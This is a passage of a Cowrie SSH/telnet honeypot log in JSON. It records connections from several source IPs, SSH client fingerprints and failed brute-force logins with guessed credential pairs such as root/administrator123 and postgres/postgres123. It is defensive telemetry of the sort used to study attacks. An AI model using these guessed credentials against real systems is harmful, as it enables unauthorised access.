cCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:04.766717Z","src_ip":"91.92.40.36","session":"bbadf5a40310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:10.195751Z","src_ip":"91.92.40.36","session":"b953d14363a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49244,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cc6b0820b8f","protocol":"ssh","message":"New connection: 91.92.40.36:49244 (10.17.0.5:22) [session: 6cc6b0820b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:10.304987Z"}
{"eventid":"cowrie.session.closed","duration":37.87584638595581,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:13.172825Z","src_ip":"172.81.62.90","session":"8f9640fe5384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":51470,"dst_ip":"159.203.135.109","dst_port":22,"session":"194d29bd0e79","protocol":"ssh","message":"New connection: 129.146.243.24:51470 (159.203.135.109:22) [session: 194d29bd0e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:13.595365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:13.600020Z","src_ip":"129.146.243.24","session":"194d29bd0e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:13.694207Z","src_ip":"129.146.243.24","session":"194d29bd0e79","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:13.917704Z","src_ip":"91.92.40.36","session":"6cc6b0820b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:13.921288Z","src_ip":"91.92.40.36","session":"6cc6b0820b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"health","password":"123456","message":"login attempt [health/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:14.093171Z","src_ip":"129.146.243.24","session":"194d29bd0e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.2","message":"Connection lost after 19.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:14.231242Z","src_ip":"91.92.40.36","session":"b953d14363a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:15.191472Z","src_ip":"129.146.243.24","session":"194d29bd0e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"dev","message":"login attempt [deployer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:17.910545Z","src_ip":"91.92.40.36","session":"bbadf5a40310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40380,"dst_ip":"10.17.0.5","dst_port":22,"session":"97233b9abb4e","protocol":"ssh","message":"New connection: 91.92.40.36:40380 (10.17.0.5:22) [session: 97233b9abb4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:18.960823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:21.186180Z","src_ip":"91.92.40.36","session":"97233b9abb4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:21.190128Z","src_ip":"91.92.40.36","session":"97233b9abb4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:21.394412Z","src_ip":"91.92.40.36","session":"bbadf5a40310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48106,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f4a2343d89b","protocol":"ssh","message":"New connection: 91.92.40.36:48106 (10.17.0.5:22) [session: 5f4a2343d89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:26.648801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:29.443286Z","src_ip":"91.92.40.36","session":"5f4a2343d89b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:29.465450Z","src_ip":"91.92.40.36","session":"5f4a2343d89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.468108892440796,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:29.498722Z","src_ip":"128.199.8.54","session":"539d51632f5d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"25252525","message":"login attempt [root/25252525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:29.563921Z","src_ip":"91.92.40.36","session":"6cc6b0820b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":59302,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c0379d74493","protocol":"ssh","message":"New connection: 14.63.196.175:59302 (159.203.135.109:22) [session: 5c0379d74493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:31.838825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:31.843179Z","src_ip":"14.63.196.175","session":"5c0379d74493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:32.045325Z","src_ip":"14.63.196.175","session":"5c0379d74493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kid","message":"login attempt [root/kid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:32.880698Z","src_ip":"14.63.196.175","session":"5c0379d74493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:34.083605Z","src_ip":"14.63.196.175","session":"5c0379d74493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.9","message":"Connection lost after 23.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:34.188099Z","src_ip":"91.92.40.36","session":"6cc6b0820b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer1","password":"developer1","message":"login attempt [developer1/developer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:35.485701Z","src_ip":"91.92.40.36","session":"97233b9abb4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53616,"dst_ip":"10.17.0.5","dst_port":22,"session":"510ec945f116","protocol":"ssh","message":"New connection: 91.92.40.36:53616 (10.17.0.5:22) [session: 510ec945f116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:36.212621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:38.813756Z","src_ip":"91.92.40.36","session":"510ec945f116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:38.840097Z","src_ip":"91.92.40.36","session":"510ec945f116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33894,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2b7661204b5","protocol":"ssh","message":"New connection: 27.71.230.31:33894 (159.203.135.109:22) [session: f2b7661204b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:39.419544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:39.445057Z","src_ip":"27.71.230.31","session":"f2b7661204b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:39.829253Z","src_ip":"91.92.40.36","session":"5f4a2343d89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.2","message":"Connection lost after 21.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:40.119540Z","src_ip":"91.92.40.36","session":"97233b9abb4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:41.065751Z","src_ip":"27.71.230.31","session":"f2b7661204b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:43.210602Z","src_ip":"91.92.40.36","session":"5f4a2343d89b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator123","message":"login attempt [root/administrator123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:43.361189Z","src_ip":"27.71.230.31","session":"f2b7661204b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":54640,"dst_ip":"159.203.135.109","dst_port":22,"session":"1175f4c8fb8a","protocol":"ssh","message":"New connection: 103.176.20.57:54640 (159.203.135.109:22) [session: 1175f4c8fb8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:44.411594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:44.416090Z","src_ip":"103.176.20.57","session":"1175f4c8fb8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:44.612795Z","src_ip":"27.71.230.31","session":"f2b7661204b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:44.672343Z","src_ip":"103.176.20.57","session":"1175f4c8fb8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bonnie777","message":"login attempt [root/bonnie777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:45.456683Z","src_ip":"103.176.20.57","session":"1175f4c8fb8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53660,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb04dc4d4f77","protocol":"ssh","message":"New connection: 91.92.40.36:53660 (10.17.0.5:22) [session: bb04dc4d4f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:45.692002Z"}
